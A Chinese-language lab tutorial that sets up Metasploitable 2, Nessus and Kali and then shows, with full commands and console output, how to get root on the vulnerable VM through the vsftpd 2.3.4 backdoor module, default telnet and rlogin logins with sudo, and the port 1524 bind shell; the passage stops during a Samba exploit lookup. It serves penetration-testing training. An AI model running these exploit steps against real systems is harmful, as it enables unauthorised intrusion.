概述

  • 本指南适用于那些了解 Metasploit 是什么、想要学习使用它但不太确定如何开始的人。我们将介绍在工作站上设置实验室的基础知识。
  • 无论您使用 Windows 还是 Linux 作为主机操作系统,本指南都适合您。
  • 将设置以下内容:
    • VMWare Workstation Pro
    • Metasploitable-linux-2
    • Nessus
    • Kali Linux

前情提要

  • 因为不想详尽地涵盖每一个细节,所以我必须对读者做出一些假设。
  • 您应该已经熟悉以下内容:
    • 如何在操作系统上安装软件(包含:Windows、Linux)
    • 熟悉 Linux 命令行
    • 网络和协议的基础知识
    • 文本编辑器(VIM)
    • 耐心 - 需要很多实践&时间
    • 研究意愿 - 学习兴趣
    • 下载文件,并学习使用他们
    • 使用 Telnet、VNC、FTP 和其他类似的网络客户端
  • 从本质上讲,您应该是一个“Power User”,您不需要拥有太多的黑客经验,但熟悉一些术语会有帮助。
  • 从本质上讲,本指南是为那些已经“精通计算机”但对 Metasploit 没有太多了解的人而准备的。

系统要求

  • 这在 RAM 至少为 8 GB 的系统上效果最佳,我正在使用的系统有 16 GB RAM。
  • VMWare Workstation Pro 有一个适用于 Windows 的安装程序和一个适用于 Linux 的安装程序。
  • 出于我们的目的,我们将使用 Windows 或 Linux。
  • CPU 核心越多越好,我肯定会推荐 64 位机器。

虚拟机安装和设置

VMware Workstation

  • 我们将在一台物理机上使用三个虚拟机来建立整个实验室。因此,我们首先需要的是桌面虚拟机管理程序。尽管其他虚拟机管理程序(例如 VirtualBox)也可以工作,但我们将使用 VMWare Workstation Pro。
  • 具体安装可以参考:传送门

Metasploitable 2

  • 我们首先需要的是一个有漏洞的操作系统,我们可以用它来帮助我们学习 Metasploit。
  • 它以名为 Metasploitable 2 的 Linux 发行版的形式出现,它有很多很多漏洞。
  • 在本指南中,我们主要关注那些可以让我们远程利用它的内容。
  • 要下载 Metasploitable 2 请转到此处:传送门
    • 单击“下载最新版本”按钮。截至撰写本文时,下载量约为 833 MB。
    • 完成后,解压存档。
  • 打开样式如下:

  • 现在我们已经完成了 Metasploitable 2 的设置。在安装并设置了一些其他工具后,我们将启动它并开始对其进行攻击。

Nessus

  • Nessus 是广泛使用的漏洞扫描器之一。我们将使用它来帮助我们找到 Metasploitable 2 系统上最好的易受攻击的服务。
  • 本实验并非绝对需要设置 Nessus,但强烈建议这样做。
  • 了解如何使用 Nessus 对您来说将是一笔非常大的财富。
  • 具体安装可以参考:传送门

设置 Nessus 扫描

  • 在最右上角,我们将点击“新扫描”:

  • 在下一个屏幕上,它为我们提供了一系列我们想要进行的扫描类型的选项。我们在这里选择“高级扫描”:

  • 接下来我们看到的是一个允许我们配置扫描的页面,我们将用它来扫描 Metasploitable 2 服务器。
  • 我们从以下开始:

  • 我们只需浏览每个选项卡中的列表并设置扫描即可为我们提供有关 Metasploitable 2 服务器的相关信息。

Settings 设置

  • 在“Settings”选项卡中,我们将从“General”部分开始。为其命名,例如“Metasploitable 2 Linux Scan”,输入描述。
  • 在 Targets 框中,我们需要知道 Metasploitable 2 系统的 IP 地址。我们应该已经在前面的步骤中启动了它(如果它没有运行,请立即启动)。
  • 进入 VMWare Workstation,然后选择左侧窗格顶部的“Metasploitable2-Linux”条目。
  • 您可能会在右侧看到黑屏,单击该屏幕中的任意位置,然后按一个键(如 Backspace)将其唤醒。您现在应该看到类似这样的内容:

  • 我们将登录并获取 IP 地址,以便将其放入 Nessus 中的扫描目标中。
  • 我们可以看到它告诉我们登录凭据。因此,对于用户名和密码,请输入“msfadmin”(不带引号)。
  • 登录后,运行以下命令:
1
ip --color address
  • 这将为我们提供该机器的 IP 地址:

  • 在此示例中,机器的地址是 10.10.8.130。
  • 请将此 IP 保留在手边,在本指南的其余部分中,我们将需要它。
  • 现在,返回 Nessus 扫描,并将该 IP 地址作为扫描目标,这是到目前为止我们应该得到的:

  • 这样,我们就可以继续前进了。单击左侧列表中的“DISCOVERY”,以下是您将看到的一些内容:

  • 我们只是接受此页面上的默认设置,所以让我们点击左侧的“ASSESSMENT”。在此页面上,我们要选中“Perform thorough tests”,因此选中该框:

  • 然后,我们将转到左侧选项中的“REPORT”部分。调整设置,使其如下所示:

  • 接下来,单击左侧列表中的“ADVANCED”选项,我们在这里要做的唯一一件事就是取消选中“Enable safe checks”:

  • 在正常的生产网络上,您可以选中此框。您不想在扫描时关闭生产系统。
  • 但出于我们的目的,我们希望收集尽可能多的信息,因此我们将取消选中它。

Credentials 设置

  • 单击“Credentials”选项卡,在左侧列表中选择“SSH”选项。
  • 由于我们知道 Metasploitable 2 机器的用户名和密码,因此我们将把这些凭据放在这里。
  • 请记住,用户名和密码都是“msfadmin”。
  • 我们将把“身份验证方法”更改为“密码”,并在下面输入用户名和密码:

  • 这就是“Credentials”选项卡的真正内容。

Plugins 设置

  • 在“插件”选项卡中,我们只需要激活与 Linux 系统上运行的插件相关的插件。
  • 因此,我们需要在这里禁用一些功能,包括:
    • AIX Local Security Checks
    • CISCO
    • F5 Networks Local Security Checks
    • HP-UX Local Security Checks
    • Huawei Local Security Checks
    • Junos Local Security Checks
    • MacOS X Local Security Checks
    • Mobile Devices
    • Netware
    • Palo Alto Local Security Checks
    • SCADA
    • Solaris Local Security Checks
    • Virtuozzo Local Security Checks
    • VMware ESX Local Security Checks
    • Windows
    • Windows : Microsoft Bulletins
    • Windows : User Management
  • 禁用所有这些,但仅禁用这些。
  • 完成此操作后,我们终于可以单击底部的“Save”:

  • 我们将开始扫描,我们将在为实际攻击设置 Kali 时执行此操作。
  • 此时您应该查看“My Scans”。它应该看起来像这样:

  • 在“Metasploitable 2 Linux Scan”的最右侧,有一个灰色的小三角形。我们将单击此按钮开始扫描:

  • 由于运行需要相当长的时间,我们将继续设置 Kali。

Kali

  • 我们将在这里 Kali 进行大部分攻击,看看如何进入 Metasploitable 2 虚拟机。
  • 是时候打开 Metasploit 了,为此,在 Shell 中输入 msfconsole:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~]
└─# msfconsole

_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\


=[ metasploit v6.3.27-dev ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1382 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
  • 当您看到“msf6 >”提示时,我们就可以开始了。

信息收集

  • 第一步是收集有关目标的信息。这通常被称为侦察”阶段。您收集尽可能多的有关远程系统的信息。我们已经开始使用之前设置并运行的 Nessus 扫描来执行此操作。
  • 我们还将使用 Metasploit 来帮助我们收集信息。
  • 由于需要将收集到的信息保存至数据库,可以查看数据库状态:
1
2
msf6 > db_status
[*] postgresql selected, no connection
  • 可以发现数据库并不处在连接中,使用如下命令开启:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kali)-[~]
└─# msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

┌──(root㉿kali)-[~]
└─# msfdb status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; preset: disabled)
Active: active (exited) since Sat 2023-10-28 22:10:20 EDT; 30s ago
Process: 1460 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1460 (code=exited, status=0/SUCCESS)
CPU: 1ms

Oct 28 22:10:20 kali systemd[1]: Starting postgresql.service - PostgreSQL RDBMS...
Oct 28 22:10:20 kali systemd[1]: Finished postgresql.service - PostgreSQL RDBMS.

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
postgres 1442 postgres 5u IPv6 22152 0t0 TCP localhost:5432 (LISTEN)
postgres 1442 postgres 6u IPv4 22153 0t0 TCP localhost:5432 (LISTEN)

UID PID PPID C STIME TTY STAT TIME CMD
postgres 1442 1 0 22:10 ? Ss 0:00 /usr/lib/postgresql/15/bin/postgres -D /var/lib/postgresql/15/main -c config_file=/etc/postgresql/15/ma

[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)

Metasploit Scan

  • 我们要做的第一件事是使用 nmap 扫描目标以获取有用的信息。
  • 为此,请在 msf 提示符下运行以下命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msf6 > db_nmap -v -T4 -sV --version-all -A -p 1-65535 --min-rate 10000 10.10.8.130
[*] Nmap: Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 22:12 EDT
[*] Nmap: NSE: Loaded 156 scripts for scanning.
[*] Nmap: NSE: Script Pre-scanning.
[*] Nmap: Initiating NSE at 22:12
[*] Nmap: Completed NSE at 22:12, 0.00s elapsed
[*] Nmap: Initiating NSE at 22:12
[*] Nmap: Completed NSE at 22:12, 0.00s elapsed
[*] Nmap: Initiating NSE at 22:12
[*] Nmap: Completed NSE at 22:12, 0.00s elapsed
[*] Nmap: Initiating ARP Ping Scan at 22:12
[*] Nmap: Scanning 10.10.8.130 [1 port]
[*] Nmap: Completed ARP Ping Scan at 22:12, 0.03s elapsed (1 total hosts)
[*] Nmap: Initiating Parallel DNS resolution of 1 host. at 22:12
[*] Nmap: Completed Parallel DNS resolution of 1 host. at 22:12, 0.03s elapsed
[*] Nmap: Initiating SYN Stealth Scan at 22:12
[*] Nmap: Scanning 10.10.8.130 [65535 ports]
[*] Nmap: Discovered open port 445/tcp on 10.10.8.130
[*] Nmap: Discovered open port 5900/tcp on 10.10.8.130
[*] Nmap: Discovered open port 53/tcp on 10.10.8.130
[*] Nmap: Discovered open port 80/tcp on 10.10.8.130
......
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 158.98 seconds
[*] Nmap: Raw packets sent: 65593 (2.887MB) | Rcvd: 65553 (2.623MB)
  • 完成后,您将看到一堆输出。
  • 此信息现已记录到 Metasploit 的数据库中。让我们看一下到目前为止我们在 Metasploit 中收集到的信息。
  • 在“msf6 >”提示符下,运行以下命令:
1
services
  • 你会看到这样的东西:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msf6 > services
Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.8.130 21 tcp ftp open vsftpd 2.3.4
10.10.8.130 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
10.10.8.130 23 tcp telnet open Linux telnetd
10.10.8.130 25 tcp smtp open Postfix smtpd
10.10.8.130 53 tcp domain open ISC BIND 9.4.2
10.10.8.130 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
10.10.8.130 111 tcp rpcbind open 2 RPC #100000
10.10.8.130 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
10.10.8.130 445 tcp ��hq��ju open Samba smbd 3.0.20-Debian workgroup: WORKGROUP
10.10.8.130 512 tcp exec open netkit-rsh rexecd
10.10.8.130 513 tcp login open
10.10.8.130 514 tcp tcpwrapped open
10.10.8.130 1099 tcp java-rmi open GNU Classpath grmiregistry
10.10.8.130 1524 tcp bindshell open Metasploitable root shell
10.10.8.130 2049 tcp nfs open 2-4 RPC #100003
10.10.8.130 2121 tcp ftp open ProFTPD 1.3.1
10.10.8.130 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5
10.10.8.130 3632 tcp distccd open distccd v1 (GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)
10.10.8.130 5432 tcp postgresql open PostgreSQL DB 8.3.0 - 8.3.7
10.10.8.130 5900 tcp vnc open VNC protocol 3.3
10.10.8.130 6000 tcp x11 open access denied
10.10.8.130 6667 tcp irc open UnrealIRCd
10.10.8.130 6697 tcp irc open UnrealIRCd
10.10.8.130 8009 tcp ajp13 open Apache Jserv Protocol v1.3
10.10.8.130 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1
10.10.8.130 8787 tcp drb open Ruby DRb RMI Ruby 1.8; path /usr/lib/ruby/1.8/drb
10.10.8.130 39890 tcp status open 1 RPC #100024
10.10.8.130 43021 tcp mountd open 1-3 RPC #100005
10.10.8.130 46134 tcp nlockmgr open 1-4 RPC #100021
10.10.8.130 47942 tcp java-rmi open GNU Classpath grmiregistry
  • 这向我们展示了 Metasploitable 2 系统上的所有开放端口。
  • 它还向我们显示了有关每个端口上运行的服务的一些信息。
  • 我们将把这些信息与 Nessus 扫描的结果进行协调,看看是否有任何东西可以用来访问该系统。
  • 那么,让我们回到 Nessus 来看看我们的扫描结果。

Nessus Scan

  • 单击 Nessus 控制台左上角的“My Scans”,然后单击您的扫描名称:

  • 您将看到扫描结果,继续并单击扫描条目:

  • 这将带您进入一个页面,显示 Nessus 扫描发现的所有内容。它应该看起来像这样:

  • 现在,我们需要组合一个过滤器,仅显示对我们访问远程系统最有帮助的结果。
  • 单击“Vulnerabilities”选项卡下方的“Filter”下拉菜单:

  • 我们首先要看到的是所有具有已知利用方式的漏洞。单击第一个下拉菜单(其中可能显示“Bugtraq ID”),然后选择“Exploit Available”,现在它应该看起来像这样:

  • 接下来,我们只想知道那些被认为很可能被利用的。
  • 单击第一条规则右侧的小加号,现在,选择“CVSS v2.0 Base Score”。
  • 在第二个下拉列表中,选择“is more than”。在最后一个框中输入“6.0”。现在它应该看起来像这样:

  • 现在,我们只看到对我们最有利的结果,在此列表和来自 Metasploit 的信息之间,我们可以选择要定位的特定服务:

Research

  • 这就是我们进入攻击 Metasploitable 2 的研究部分的地方。我们这样做时必须一次选择一项服务。跟踪您了解到的有关该服务的所有信息。
  • 您甚至可以打开一个文本编辑器,在其中保存相关信息。当您测试远程系统时,没有什么比知道您已经了解了一些有关它的信息但无法再找到该信息更糟糕的了。

A Look at vsftpd

  • 那么,让我们从 Metasploit 中服务列表中的第一项开始:
1
2
3
4
5
6
7
8
msf6 > services
Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.8.130 21 tcp ftp open vsftpd 2.3.4
......
  • 我们可以在这里找到什么?好吧,它告诉我们它正在运行“vsftpd 2.3.4”。 Nessus 扫描是否为我们提供了更多信息?我们将返回 Nessus 控制台,并搜索“vsftpd”:

  • 单击出现的“vsftpd Detection”项。不幸的是,它没有给我们任何进一步的细节:

  • 返回 Metasploit,我们将寻找可以帮助我们进入 vsftpd 服务的漏洞。
  • 要搜索漏洞,我们只需运行以下命令:
1
search vsftpd
  • 它看起来像这样:
1
2
3
4
5
6
7
8
9
10
11
12
msf6 > search vsftpd

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
  • 我们找到了一个。因此,让我们加载它,看看是否可以使用它。

Exploiting vsftpd

  • 为此,我们将运行以下命令:
1
2
3
use exploit/unix/ftp/vsftpd_234_backdoor
or
use 1
  • 输出将如下所示:
1
2
3
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
  • 要了解如何使用此漏洞,我们将输入“info”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Automatic

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.

References:
OSVDB (73573)
http://pastebin.com/AetT9sS5
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html


View the full module info with the info -d command.
  • 这告诉我们很多关于这个插件的信息。
  • 如果您想更熟悉这些漏洞,最好花一些时间阅读它们。
  • 底部的链接将告诉您有关该漏洞的更多信息,了解它的作用和工作原理。
  • 成为一名优秀的黑客没有捷径。事实上,“一分耕耘一分收获”对于黑客来说是最真实的。
  • 屏幕截图显示了我们需要设置哪些选项:RHOST 和 RPORT。
  • 您可以看到 RPORT 已设置为端口 21,这是 vsftpd 在我们的 Metasploitable 2 系统上运行的位置。
  • 要设置 RHOST,我们将使用语法:set RHOST
  • 您将输入 Metasploitable 2 的 IP 地址:
1
2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.8.130
RHOSTS => 10.10.8.130
  • 现在,我们准备尝试利用该漏洞。输入“run”并按 Enter 键。您将看到以下内容:
1
2
3
4
5
6
7
8
9
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.8.130:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.8.130:21 - USER: 331 Please specify the password.
[+] 10.10.8.130:21 - Backdoor service has been spawned, handling...
[+] 10.10.8.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.10.8.134:39423 -> 10.10.8.130:6200) at 2023-10-28 22:32:28 -0400

  • Metasploit 报告我们已成功入侵系统。
  • 现在,我们在 Metasploitable 2 上有了一个 root shell!为了确保这一点,请运行“whoami”。
  • 你应该看到“root”,这意味着您已以 root 身份登录到该框!:
1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.8.130:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.8.130:21 - USER: 331 Please specify the password.
[+] 10.10.8.130:21 - Backdoor service has been spawned, handling...
[+] 10.10.8.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.10.8.134:39423 -> 10.10.8.130:6200) at 2023-10-28 22:32:28 -0400

whoami
root
id
uid=0(root) gid=0(root)
  • 输入 exit 返回 Metasploit:
1
2
[*] 10.10.8.130 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
  • 要重置 Metasploit 以进行下一次攻击,请输入“back”命令。这将使您返回到“msf6 >”提示符:
1
2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > back
msf6 >

Try Telnet

  • 由于我们的 Metasploit 2 系统存在一些漏洞,我们甚至不需要 Metasploit。在 Kali Linux 虚拟机中打开另一个终端窗口。
  • 输入“telnet ”,输入 Metasploitable 2 的 IP 地址,按 Enter 键。你会看到这个:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~]
└─# telnet 10.10.8.130
Trying 10.10.8.130...
Connected to 10.10.8.130.
Escape character is '^]'.
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login:
  • 幸运的是,我们不仅可以进入,而且还为我们提供了登录的用户名和密码!输入“msfadmin”(不带引号)作为用户名,并输入相同的密码。
  • 如果您看到以下内容,那么您就成功了!:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
metasploitable login: msfadmin
Password:
Last login: Sat Oct 28 21:57:19 EDT 2023 from 10.10.8.136 on pts/2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
  • 但我们不是 root,我想知道我们是否可以使用“sudo”来提权到 root,执行以下命令:
1
2
3
4
5
6
msfadmin@metasploitable:~$ sudo -l
User msfadmin may run the following commands on this host:
(ALL) ALL
msfadmin@metasploitable:~$ sudo su root
root@metasploitable:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)
  • 我们确实是 root,有时(尽管不是很常见),就是这么简单。
  • 要退出 shell,请键入“exit”并按 Enter 键,然后再次执行此操作:
1
2
3
4
5
6
7
root@metasploitable:/home/msfadmin# exit
exit
msfadmin@metasploitable:~$ exit
Connection closed by foreign host.

┌──(root㉿kali)-[~]
└─#
  • 那是相当简单的,您会惊讶地发现网络中经常存在这样的事情,有些交换机默认使用telnet,甚至没有设置密码。
  • 让我们继续吧,我们可以攻击的下一个服务是什么?

Exploiting rexecd

  • 让我们看看是否还有其他容易实现的目标,这是我看到的列表:

  • 第二个条目“rexecd Service Detection”,我想知道那是什么,单击该条目,该信息屏幕上写着“
    The rexecd service is running on the remote host. This service is design to allow users of a network to execute commands remotely.
    However, rexecd does not provide any good means of authentication, so it may be abused by an attacker to scan a third-party host. ”

译文:远程主机上正在运行 rexecd 服务。该服务旨在允许网络用户远程执行命令。但是,rexecd 没有提供任何好的身份验证方法,因此攻击者可能会滥用它来扫描第三方主机。

  • 太好了,我们该如何攻击它呢?嗯,你可以很容易地在网上进行研究,我推荐这样做。
  • 您要熟悉自己所做的每件事,这就是积累经验的过程。
  • 当您研究 rexecd 时,您会发现可以使用“rlogin”登录它,这有点像远程登录。

注:rlogin 是 UNIX 和 Linux 系统中的一种远程登录协议,类似于 Telnet。它允许用户从一个主机登录到另一个主机,并在远程系统上执行命令。rlogin 也不提供加密和身份验证机制,因此与 Telnet 一样,它在安全性方面存在相同的问题,并且不被推荐在不受信任的网络中使用。

  • 我们来试试吧,打开另一个终端。
  • 由于我们已经知道有一个名为“msfadmin”的用户并且该用户的密码为“msfadmin”,因此我们将尝试以该用户身份登录,运行以下命令:

注:Kali 默认未安装 rlogin 服务,使用 apt-get install rsh-client 安装一下。

1
rlogin -l msfadmin <ip address>
  • 只不过您将使用 Metasploitable 2 系统的 IP 地址,你应该看到这个:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[~]
└─# rlogin -l msfadmin 10.10.8.130
Last login: Sat Oct 28 22:39:12 EDT 2023 from 10.10.8.134 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ sudo su root
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/home/msfadmin#
  • Very cool,退出,让我们看看还有什么。

Bind Shell Backdoor Detection

  • 回到 Nessus,出现了一个 Bind Shell Backdoor,单击该条目,让我们阅读一下。

  • 漏洞描述:Shell 正在侦听远程端口,无需任何身份验证。攻击者可以通过连接到远程端口并直接发送命令来使用它。
  • 如果我们查看页面底部,它会告诉我们该服务正在侦听端口 1524:

  • 呵呵,我想这是否又是一个不需要使用 Metasploit 的呢?
  • 打开终端并输入命令“telnet 1524”(无引号),它让我们以 root 身份登录!:
1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~]
└─# telnet 10.10.8.130 1524
Trying 10.10.8.130...
Connected to 10.10.8.130.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#

A Look at Samba

  • 在 Nessus 列表中发现了 Samba,我想知道我们是否可以用它做点什么,返回 Metasploit 控制台。我们将研究可能的漏洞。
  • 输入命令“search samba”。它列出了一个相当大的列表:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msf6 > search samba

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution
1 exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow
2 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
3 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource
4 post/linux/gather/enum_configs normal No Linux Gather Configurations
5 auxiliary/scanner/rsync/modules_list normal No List Rsync Modules
6 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution
7 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection
8 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
9 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
10 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow
11 auxiliary/admin/smb/samba_symlink_traversal normal No Samba Symlink Directory Traversal
12 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State
13 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
14 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
15 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow
16 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow
17 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
18 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
19 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
20 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow
21 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
22 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
23 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
24 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
25 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Search Results Buffer Overflow


Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results
  • 我们可以仔细检查并尝试其中的每一项,但首先,让我们看看是否无法从该服务获得更多详细信息。
  • 查看 Nessus 的扫描结果,可以发现 Samba 的服务版本:

  • 可以通过这个服务版本去搜索对应 Samba 版本的 CVE:

  • 前往 Exploit-DB 查看该漏洞详情:

  • 假设我们只有 CVE,我们将学习如何在 Metasploit 中搜索特定的 CVE。
  • 所以回到 Metasploit 终端,输入以下命令:
1
2
3
4
5
6
7
8
9
10
11
msf6 > search 2007-2447

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
  • 使用 info 查看下对应内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
msf6 > info exploit/multi/samba/usermap_script

Name: Samba "username map script" Command Execution
